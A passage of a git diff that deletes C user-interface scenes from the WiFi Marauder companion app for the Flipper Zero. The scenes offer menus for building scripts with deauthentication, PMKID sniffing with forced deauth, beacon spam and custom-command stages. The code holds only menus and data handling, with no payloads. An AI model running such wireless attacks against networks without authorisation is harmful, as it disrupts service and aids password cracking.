NULL) { - (*app->script_stage_edit_numbers_reference)[i] = atoi(current_item->value); - current_item = current_item->next_item; - i++; - } - - *app->script_stage_edit_number_count_reference = array_size; -} - -static void - wifi_marauder_scene_script_stage_edit_list_save_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - if(app->script_stage_edit_strings_reference != NULL && - app->script_stage_edit_string_count_reference != NULL) { - wifi_marauder_scene_script_stage_edit_list_save_strings(app); - } - - if(app->script_stage_edit_numbers_reference != NULL && - app->script_stage_edit_number_count_reference != NULL) { - wifi_marauder_scene_script_stage_edit_list_save_numbers(app); - } - - wifi_marauder_scene_script_stage_edit_list_deallocate_items(app); - scene_manager_previous_scene(app->scene_manager); -} - -static void - wifi_marauder_scene_script_stage_edit_list_clear_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - wifi_marauder_scene_script_stage_edit_list_deallocate_items(app); - - submenu_reset(app->submenu); - submenu_add_item( - app->submenu, - "[+] ADD ITEM", - 99, - wifi_marauder_scene_script_stage_edit_list_add_callback, - app); - submenu_add_item( - app->submenu, - "[*] SAVE ITEMS", - 99, - wifi_marauder_scene_script_stage_edit_list_save_callback, - app); - submenu_add_item( - app->submenu, - "[-] CLEAR LIST", - 99, - wifi_marauder_scene_script_stage_edit_list_clear_callback, - app); -} - -void wifi_marauder_scene_script_stage_edit_list_on_enter(void* context) { - WifiMarauderApp* app = context; - int item_index = 0; - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - - while(current_item != NULL) { - submenu_add_item(app->submenu, current_item->value, item_index++, NULL, app); - current_item = current_item->next_item; - } - submenu_add_item( - app->submenu, - "[+] ADD ITEM", - 99, - wifi_marauder_scene_script_stage_edit_list_add_callback, - app); - submenu_add_item( - app->submenu, - "[*] SAVE ITEMS", - 99, - wifi_marauder_scene_script_stage_edit_list_save_callback, - app); - submenu_add_item( - app->submenu, - "[-] CLEAR LIST", - 99, - wifi_marauder_scene_script_stage_edit_list_clear_callback, - app); - - submenu_set_selected_item( - app->submenu, - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEditList)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_script_stage_edit_list_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_stage_edit_list_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_options.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_options.c deleted file mode 100644 index 35b374f61..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_options.c +++ /dev/null @@ -1,111 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -enum SubmenuIndex { - SubmenuIndexRun, - SubmenuIndexSettings, - SubmenuIndexEditStages, - SubmenuIndexSave, - SubmenuIndexDelete -}; - -void wifi_marauder_scene_script_options_save_script(WifiMarauderApp* app) { - char script_path[256]; - snprintf( - script_path, - sizeof(script_path), - "%s/%s.json", - MARAUDER_APP_FOLDER_SCRIPTS, - app->script->name); - wifi_marauder_script_save_json(app->storage, script_path, app->script); - - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_text(message, "Saved!", 88, 32, AlignCenter, AlignCenter); - dialog_message_set_icon(message, &I_DolphinCommon_56x48, 5, 6); - dialog_message_set_buttons(message, NULL, "Ok", NULL); - dialog_message_show(app->dialogs, message); - dialog_message_free(message); -} - -static void wifi_marauder_scene_script_options_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - - switch(index) { - case SubmenuIndexRun: - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); - break; - case SubmenuIndexSettings: - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptSettings); - break; - case SubmenuIndexEditStages: - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptEdit); - break; - case SubmenuIndexSave: - wifi_marauder_scene_script_options_save_script(app); - break; - case SubmenuIndexDelete: - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptOptions, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptConfirmDelete); - break; - } -} - -void wifi_marauder_scene_script_options_on_enter(void* context) { - WifiMarauderApp* app = context; - - // If returning after confirming script deletion - if(app->script == NULL) { - scene_manager_previous_scene(app->scene_manager); - return; - } - - Submenu* submenu = app->submenu; - - submenu_set_header(submenu, app->script->name); - submenu_add_item( - submenu, "[>] RUN", SubmenuIndexRun, wifi_marauder_scene_script_options_callback, app); - submenu_add_item( - submenu, - "[S] SETTINGS", - SubmenuIndexSettings, - wifi_marauder_scene_script_options_callback, - app); - submenu_add_item( - submenu, - "[+] EDIT STAGES", - SubmenuIndexEditStages, - wifi_marauder_scene_script_options_callback, - app); - submenu_add_item( - submenu, "[*] SAVE", SubmenuIndexSave, wifi_marauder_scene_script_options_callback, app); - submenu_add_item( - submenu, - "[X] DELETE", - SubmenuIndexDelete, - wifi_marauder_scene_script_options_callback, - app); - - submenu_set_selected_item( - submenu, - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptOptions)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_script_options_on_event(void* context, SceneManagerEvent event) { - WifiMarauderApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeBack) { - wifi_marauder_script_free(app->script); - app->script = NULL; - } - - return consumed; -} - -void wifi_marauder_scene_script_options_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_select.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_select.c deleted file mode 100644 index bc0746858..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_select.c +++ /dev/null @@ -1,90 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -static void wifi_marauder_scene_script_select_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - - char script_path[256]; - snprintf( - script_path, - sizeof(script_path), - "%s/%s.json", - MARAUDER_APP_FOLDER_SCRIPTS, - furi_string_get_cstr(app->script_list[index])); - - app->script = wifi_marauder_script_parse_json(app->storage, script_path); - if(app->script) { - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptSelect, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptOptions); - } -} - -static void wifi_marauder_scene_script_select_add_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptSelect, index); - - app->user_input_type = WifiMarauderUserInputTypeFileName; - app->user_input_file_dir = strdup(MARAUDER_APP_FOLDER_SCRIPTS); - app->user_input_file_extension = strdup("json"); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneUserInput); -} - -void wifi_marauder_scene_script_select_on_enter(void* context) { - WifiMarauderApp* app = context; - Submenu* submenu = app->submenu; - - File* dir_scripts = storage_file_alloc(app->storage); - if(storage_dir_open(dir_scripts, MARAUDER_APP_FOLDER_SCRIPTS)) { - FileInfo file_info; - char file_path[255]; - app->script_list_count = 0; - // Goes through the files in the folder counting the ones that end with the json extension - while(storage_dir_read(dir_scripts, &file_info, file_path, 255)) { - app->script_list_count++; - } - if(app->script_list_count > 0) { - submenu_set_header(submenu, "Select a script:"); - app->script_list = malloc(app->script_list_count * sizeof(FuriString*)); - storage_dir_close(dir_scripts); - storage_dir_open(dir_scripts, MARAUDER_APP_FOLDER_SCRIPTS); - // Read the files again from the beginning, adding the scripts in the list - int script_index = 0; - while(storage_dir_read(dir_scripts, &file_info, file_path, 255)) { - app->script_list[script_index] = furi_string_alloc(); - path_extract_filename_no_ext(file_path, app->script_list[script_index]); - submenu_add_item( - submenu, - furi_string_get_cstr(app->script_list[script_index]), - script_index, - wifi_marauder_scene_script_select_callback, - app); - script_index++; - } - } else { - submenu_set_header(submenu, "No script found"); - } - submenu_add_item( - submenu, "[+] ADD SCRIPT", 99, wifi_marauder_scene_script_select_add_callback, app); - storage_dir_close(dir_scripts); - } - storage_file_free(dir_scripts); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptSelect)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_script_select_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_select_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); - - for(int i = 0; i < app->script_list_count; i++) { - furi_string_free(app->script_list[i]); - } - free(app->script_list); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_settings.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_settings.c deleted file mode 100644 index b4903af05..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_settings.c +++ /dev/null @@ -1,87 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -enum ScriptSettingsOption { - ScriptSettingsOptionRepeat, - ScriptSettingsOptionSavePcap, - ScriptSettingsOptionEnableLed -}; - -const char* option_values[3] = {"No", "Yes", "Default"}; - -static void wifi_marauder_scene_script_settings_enter_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - // Accept script repeat value - if(index == ScriptSettingsOptionRepeat) { - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptSettings, index); - app->user_input_type = WifiMarauderUserInputTypeNumber; - app->user_input_number_reference = &app->script->repeat; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneUserInput); - } -} - -static void wifi_marauder_scene_script_settings_change_callback(VariableItem* item) { - WifiMarauderApp* app = variable_item_get_context(item); - - uint8_t current_option = variable_item_list_get_selected_item_index(app->var_item_list); - uint8_t option_value_index = variable_item_get_current_value_index(item); - - switch(current_option) { - case ScriptSettingsOptionSavePcap: - variable_item_set_current_value_text(item, option_values[option_value_index]); - app->script->save_pcap = option_value_index; - break; - case ScriptSettingsOptionEnableLed: - variable_item_set_current_value_text(item, option_values[option_value_index]); - app->script->enable_led = option_value_index; - break; - } -} - -void wifi_marauder_scene_script_settings_on_enter(void* context) { - WifiMarauderApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - variable_item_list_set_enter_callback( - app->var_item_list, wifi_marauder_scene_script_settings_enter_callback, app); - - // Script repeat option - VariableItem* repeat_item = variable_item_list_add(app->var_item_list, "Repeat", 1, NULL, app); - char repeat_str[32]; - snprintf(repeat_str, sizeof(repeat_str), "%d", app->script->repeat); - variable_item_set_current_value_text(repeat_item, repeat_str); - - // Save PCAP option - VariableItem* save_pcap_item = variable_item_list_add( - app->var_item_list, - "Save PCAP", - 3, - wifi_marauder_scene_script_settings_change_callback, - app); - variable_item_set_current_value_index(save_pcap_item, app->script->save_pcap); - variable_item_set_current_value_text(save_pcap_item, option_values[app->script->save_pcap]); - - // Enable board LED option - VariableItem* enable_led_item = variable_item_list_add( - app->var_item_list, - "Enable LED", - 3, - wifi_marauder_scene_script_settings_change_callback, - app); - variable_item_set_current_value_index(enable_led_item, app->script->enable_led); - variable_item_set_current_value_text(enable_led_item, option_values[app->script->enable_led]); - - variable_item_list_set_selected_item( - var_item_list, - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptSettings)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); -} - -bool wifi_marauder_scene_script_settings_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_settings_on_exit(void* context) { - WifiMarauderApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_stage_add.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_stage_add.c deleted file mode 100644 index 33f1a2f03..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_stage_add.c +++ /dev/null @@ -1,297 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -// Scan -static void wifi_marauder_scene_script_stage_add_scan_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageScan* stage = - (WifiMarauderScriptStageScan*)malloc(sizeof(WifiMarauderScriptStageScan)); - stage->type = WifiMarauderScriptScanTypeAp; - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SCAN; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeScan, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Select -static void wifi_marauder_scene_script_stage_add_select_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSelect* stage = - (WifiMarauderScriptStageSelect*)malloc(sizeof(WifiMarauderScriptStageSelect)); - stage->type = WifiMarauderScriptSelectTypeAp; - stage->filter = strdup("all"); - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSelect, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Deauth -static void wifi_marauder_scene_script_stage_add_deauth_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageDeauth* stage = - (WifiMarauderScriptStageDeauth*)malloc(sizeof(WifiMarauderScriptStageDeauth)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_DEAUTH; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeDeauth, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Probe -static void wifi_marauder_scene_script_stage_add_probe_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageProbe* stage = - (WifiMarauderScriptStageProbe*)malloc(sizeof(WifiMarauderScriptStageProbe)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_PROBE; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeProbe, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff RAW -static void wifi_marauder_scene_script_stage_add_sniffraw_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffRaw* stage = - (WifiMarauderScriptStageSniffRaw*)malloc(sizeof(WifiMarauderScriptStageSniffRaw)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffRaw, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff Beacon -static void - wifi_marauder_scene_script_stage_add_sniffbeacon_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffBeacon* stage = - (WifiMarauderScriptStageSniffBeacon*)malloc(sizeof(WifiMarauderScriptStageSniffBeacon)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffBeacon, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff Deauth -static void - wifi_marauder_scene_script_stage_add_sniffdeauth_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffDeauth* stage = - (WifiMarauderScriptStageSniffDeauth*)malloc(sizeof(WifiMarauderScriptStageSniffDeauth)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffDeauth, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff Esp -static void wifi_marauder_scene_script_stage_add_sniffesp_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffEsp* stage = - (WifiMarauderScriptStageSniffEsp*)malloc(sizeof(WifiMarauderScriptStageSniffEsp)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffEsp, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff PMKID -static void - wifi_marauder_scene_script_stage_add_sniffpmkid_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffPmkid* stage = - (WifiMarauderScriptStageSniffPmkid*)malloc(sizeof(WifiMarauderScriptStageSniffPmkid)); - stage->channel = 0; - stage->force_deauth = WifiMarauderScriptBooleanTrue; - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffPmkid, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Sniff Pwn -static void wifi_marauder_scene_script_stage_add_sniffpwn_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageSniffPwn* stage = - (WifiMarauderScriptStageSniffPwn*)malloc(sizeof(WifiMarauderScriptStageSniffPwn)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_SNIFF; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeSniffPwn, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Beacon list -static void - wifi_marauder_scene_script_stage_add_beaconlist_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageBeaconList* stage = - (WifiMarauderScriptStageBeaconList*)malloc(sizeof(WifiMarauderScriptStageBeaconList)); - stage->ssids = NULL; - stage->ssid_count = 0; - stage->random_ssids = 0; - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_BEACON; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeBeaconList, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Beacon AP -static void wifi_marauder_scene_script_stage_add_beaconap_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageBeaconAp* stage = - (WifiMarauderScriptStageBeaconAp*)malloc(sizeof(WifiMarauderScriptStageBeaconAp)); - stage->timeout = WIFI_MARAUDER_DEFAULT_TIMEOUT_BEACON; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeBeaconAp, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Exec -static void wifi_marauder_scene_script_stage_add_exec_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageExec* stage = - (WifiMarauderScriptStageExec*)malloc(sizeof(WifiMarauderScriptStageExec)); - stage->command = NULL; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeExec, stage); - scene_manager_previous_scene(app->scene_manager); -} - -// Delay -static void wifi_marauder_scene_script_stage_add_delay_callback(void* context, uint32_t index) { - UNUSED(index); - WifiMarauderApp* app = context; - - WifiMarauderScriptStageDelay* stage = - (WifiMarauderScriptStageDelay*)malloc(sizeof(WifiMarauderScriptStageDelay)); - stage->timeout = 0; - - wifi_marauder_script_add_stage(app->script, WifiMarauderScriptStageTypeDelay, stage); - scene_manager_previous_scene(app->scene_manager); -} - -void wifi_marauder_scene_script_stage_add_on_enter(void* context) { - WifiMarauderApp* app = context; - Submenu* submenu = app->submenu; - submenu_set_header(submenu, "Add stage"); - - int menu_index = 0; - submenu_add_item( - submenu, "[+] Scan", menu_index++, wifi_marauder_scene_script_stage_add_scan_callback, app); - submenu_add_item( - submenu, - "[+] Select", - menu_index++, - wifi_marauder_scene_script_stage_add_select_callback, - app); - submenu_add_item( - submenu, - "[+] Deauth", - menu_index++, - wifi_marauder_scene_script_stage_add_deauth_callback, - app); - submenu_add_item( - submenu, - "[+] Probe", - menu_index++, - wifi_marauder_scene_script_stage_add_probe_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff RAW", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffraw_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff Beacon", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffbeacon_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff Deauth", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffdeauth_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff Esp", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffesp_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff PMKID", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffpmkid_callback, - app); - submenu_add_item( - submenu, - "[+] Sniff Pwnagotchi", - menu_index++, - wifi_marauder_scene_script_stage_add_sniffpwn_callback, - app); - submenu_add_item( - submenu, - "[+] Beacon List", - menu_index++, - wifi_marauder_scene_script_stage_add_beaconlist_callback, - app); - submenu_add_item( - submenu, - "[+] Beacon AP", - menu_index++, - wifi_marauder_scene_script_stage_add_beaconap_callback, - app); - submenu_add_item( - submenu, - "[+] Custom command", - menu_index++, - wifi_marauder_scene_script_stage_add_exec_callback, - app); - submenu_add_item( - submenu, - "[+] Delay", - menu_index++, - wifi_marauder_scene_script_stage_add_delay_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptEdit)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); -} - -bool wifi_marauder_scene_script_stage_add_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_stage_add_on_exit(void* context) { - WifiMarauderApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_stage_edit.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_stage_edit.c deleted file mode 100644 index b8581e3e7..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_script_stage_edit.c +++ /dev/null @@ -1,203 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -void wifi_marauder_scene_script_stage_edit_create_list_strings( - WifiMarauderApp* app, - char** strings, - int string_count) { - // Deallocates the existing list - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - while(current_item != NULL) { - WifiMarauderScriptStageListItem* next_item = current_item->next_item; - free(current_item->value); - free(current_item); - current_item = next_item; - } - - // Create a new list with numbers - WifiMarauderScriptStageListItem* first_item = NULL; - WifiMarauderScriptStageListItem* previous_item = NULL; - for(int i = 0; i < string_count; i++) { - WifiMarauderScriptStageListItem* item = malloc(sizeof(WifiMarauderScriptStageListItem)); - item->value = strdup(strings[i]); - item->next_item = NULL; - - if(previous_item == NULL) { - first_item = item; - } else { - previous_item->next_item = item; - } - previous_item = item; - } - - app->script_stage_edit_first_item = first_item; -} - -void wifi_marauder_scene_script_stage_edit_create_list_numbers( - WifiMarauderApp* app, - int* numbers, - int number_count) { - // Deallocates the existing list - WifiMarauderScriptStageListItem* current_item = app->script_stage_edit_first_item; - while(current_item != NULL) { - WifiMarauderScriptStageListItem* next_item = current_item->next_item; - free(current_item->value); - free(current_item); - current_item = next_item; - } - - // Create a new list with numbers - WifiMarauderScriptStageListItem* first_item = NULL; - WifiMarauderScriptStageListItem* previous_item = NULL; - for(int i = 0; i < number_count; i++) { - char number_str[32]; - snprintf(number_str, sizeof(number_str), "%d", numbers[i]); - - WifiMarauderScriptStageListItem* item = malloc(sizeof(WifiMarauderScriptStageListItem)); - item->value = strdup(number_str); - item->next_item = NULL; - - if(previous_item == NULL) { - first_item = item; - } else { - previous_item->next_item = item; - } - previous_item = item; - } - - app->script_stage_edit_first_item = first_item; -} - -static void - wifi_marauder_scene_script_stage_edit_list_enter_callback(void* context, uint32_t index) { - WifiMarauderApp* app = context; - const WifiMarauderScriptMenuItem* menu_item = &app->script_stage_menu->items[index]; - - // Fixed delete item - if(index == app->script_stage_menu->num_items) { - uint32_t deleted_stage_index = - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptEdit); - if(deleted_stage_index > 0) { - scene_manager_set_scene_state( - app->scene_manager, WifiMarauderSceneScriptEdit, deleted_stage_index - 1); - } - WifiMarauderScriptStage* previous_stage = NULL; - WifiMarauderScriptStage* current_stage = app->script->first_stage; - uint32_t current_stage_index = 0; - - while(current_stage != NULL && current_stage_index < deleted_stage_index) { - previous_stage = current_stage; - current_stage = current_stage->next_stage; - current_stage_index++; - } - - // Delete the stage - if(current_stage != NULL) { - if(previous_stage != NULL) { - if(current_stage->next_stage != NULL) { - previous_stage->next_stage = current_stage->next_stage; - } else { - previous_stage->next_stage = NULL; - app->script->last_stage = previous_stage; - } - } else { - if(current_stage->next_stage != NULL) { - app->script->first_stage = current_stage->next_stage; - } else { - app->script->first_stage = NULL; - app->script->last_stage = NULL; - } - } - } - app->script_edit_selected_stage = NULL; - - scene_manager_previous_scene(app->scene_manager); - return; - } - - if(menu_item->select_callback == NULL) { - return; - } - if(menu_item->type == WifiMarauderScriptMenuItemTypeNumber) { - // Accepts user number input, assigning the value to the reference passed as a parameter - menu_item->select_callback(app); - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEdit, index); - app->user_input_type = WifiMarauderUserInputTypeNumber; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneUserInput); - } else if(menu_item->type == WifiMarauderScriptMenuItemTypeString) { - // Accepts user string input, assigning the value to the reference passed as a parameter - menu_item->select_callback(app); - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEdit, index); - app->user_input_type = WifiMarauderUserInputTypeString; - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneUserInput); - } else if(menu_item->type == WifiMarauderScriptMenuItemTypeListString) { - // Accepts the strings that compose the list - menu_item->select_callback(app); - wifi_marauder_scene_script_stage_edit_create_list_strings( - app, - *app->script_stage_edit_strings_reference, - *app->script_stage_edit_string_count_reference); - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEdit, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptStageEditList); - } else if(menu_item->type == WifiMarauderScriptMenuItemTypeListNumber) { - // Accepts the numbers that compose the list - menu_item->select_callback(app); - wifi_marauder_scene_script_stage_edit_create_list_numbers( - app, - *app->script_stage_edit_numbers_reference, - *app->script_stage_edit_number_count_reference); - scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEdit, index); - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneScriptStageEditList); - } -} - -void wifi_marauder_scene_script_stage_edit_on_enter(void* context) { - WifiMarauderApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - - variable_item_list_set_enter_callback( - app->var_item_list, wifi_marauder_scene_script_stage_edit_list_enter_callback, app); - app->script_stage_menu = - wifi_marauder_script_stage_menu_create(app->script_edit_selected_stage->type); - - if(app->script_stage_menu->items != NULL) { - for(uint32_t i = 0; i < app->script_stage_menu->num_items; i++) { - WifiMarauderScriptMenuItem* stage_item = &app->script_stage_menu->items[i]; - - // Changes the list item to handle it in callbacks - VariableItem* list_item = variable_item_list_add( - app->var_item_list, - stage_item->name, - stage_item->num_options, - stage_item->change_callback, - app); - - variable_item_list_set_selected_item(app->var_item_list, i); - if(stage_item->setup_callback != NULL) { - stage_item->setup_callback(list_item); - } - if(stage_item->change_callback != NULL) { - stage_item->change_callback(list_item); - } - } - } - - variable_item_list_add(app->var_item_list, "[-] DELETE STAGE", 0, NULL, app); - - variable_item_list_set_selected_item( - var_item_list, - scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneScriptStageEdit)); - view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); -} - -bool wifi_marauder_scene_script_stage_edit_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void wifi_marauder_scene_script_stage_edit_on_exit(void* context) { - WifiMarauderApp* app = context; - wifi_marauder_script_stage_menu_free(app->script_stage_menu); - app->script_stage_menu = NULL; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_settings_init.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_settings_init.c deleted file mode 100644 index 04d099d12..000000000 --- a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_settings_init.c +++ /dev/null @@ -1,130 +0,0 @@ -#include "../wifi_marauder_app_i.h" - -const char* Y = "Y"; -const char* N = "N"; - -#define PROMPT_PCAPS 0 -#define PROMPT_LOGS 1 - -void wifi_marauder_scene_settings_init_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - WifiMarauderApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void wifi_marauder_scene_settings_init_setup_widget(WifiMarauderApp* app) { - Widget* widget = app->widget; - - widget_reset(widget); - - widget_add_button_element( - widget, GuiButtonTypeLeft, "No", wifi_marauder_scene_settings_init_widget_callback, app); - widget_add_button_element( - widget, GuiButtonTypeRight, "Yes", wifi_marauder_scene_settings_init_widget_callback, app); - - if(app->which_prompt == PROMPT_PCAPS) { - widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Save pcaps?"); - widget_add_text_scroll_element( - widget, - 0, - 12, - 128, - 38, - "With compatible marauder\nfirmware, you can choose to\nsave captures (pcaps) 